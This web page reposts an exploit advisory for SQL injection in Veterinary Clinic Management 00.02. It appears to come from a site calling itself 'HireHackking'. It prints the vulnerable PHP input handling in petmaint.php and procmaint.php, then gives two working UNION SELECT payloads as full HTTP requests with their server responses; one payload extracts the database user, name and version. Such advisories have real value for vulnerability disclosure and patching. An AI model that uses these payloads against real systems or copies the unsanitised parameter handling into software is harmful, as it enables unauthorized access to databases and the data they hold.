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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Veterinary Clinic Management 00.02 - 'editpetnum' SQL Injection
# Dork: N/A
# Date: 2018-10-25
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://vetclinic.sourceforge.io/
# Software Link: https://sourceforge.net/projects/vetclinic/files/latest/download
# Version: 00.02
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/petmaint.php?editpetnum=[SQL]
# 
# [PATH]/petmaint.php
# ....
#154 $editpetnum = "";
#155 
#156 if(isset($_POST["editpetnum"])) {
#157      $editpetnum = $_POST["editpetnum"];
#158      unset($_POST["editpetnum"]);
#159 }
#160 else if(isset($_GET["editpetnum"])) {
#161      $editpetnum = $_GET["editpetnum"];
#162      unset($_GET["editpetnum"]);
#163 }
# ....
 
GET /[PATH]/petmaint.php?editpetnum=-0x496873616e2053656e63616e+UniOn++SeLect++0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2cCONCAT(CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()))%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e--+Efe HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Thu, 25 Oct 2018 22:18:01 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=8dts9gt545rgn1f5i4pgn573a3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/procmaint.php?proccode=[SQL]
# 
# [PATH]/procmaint.php
# ....
#28 require_once "includes/common.inc";
#29 $emplnumber = $_SESSION['employeenumber'];
#30 $display = "ProcMaint:".$emplnumber;
#31 if(isset($_GET["proccode"])) {
#32      $proccode = $_GET["proccode"];
#33 } else {
#34      $proccode = "";
#35 }
#36 if ($proccode == "")
#37 {
# ....
 
GET /[PATH]/procmaint.php?proccode=%27%27%27%27+unioN+selECt++nuLL,nuLL,nuLL,conCAT(0x496873616e2053656e63616e),nuLL--+Efe HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=8dts9gt545rgn1f5i4pgn573a3
Connection: keep-alive
HTTP/1.1 200 OK
Date: Thu, 25 Oct 2018 22:22:33 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2697
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8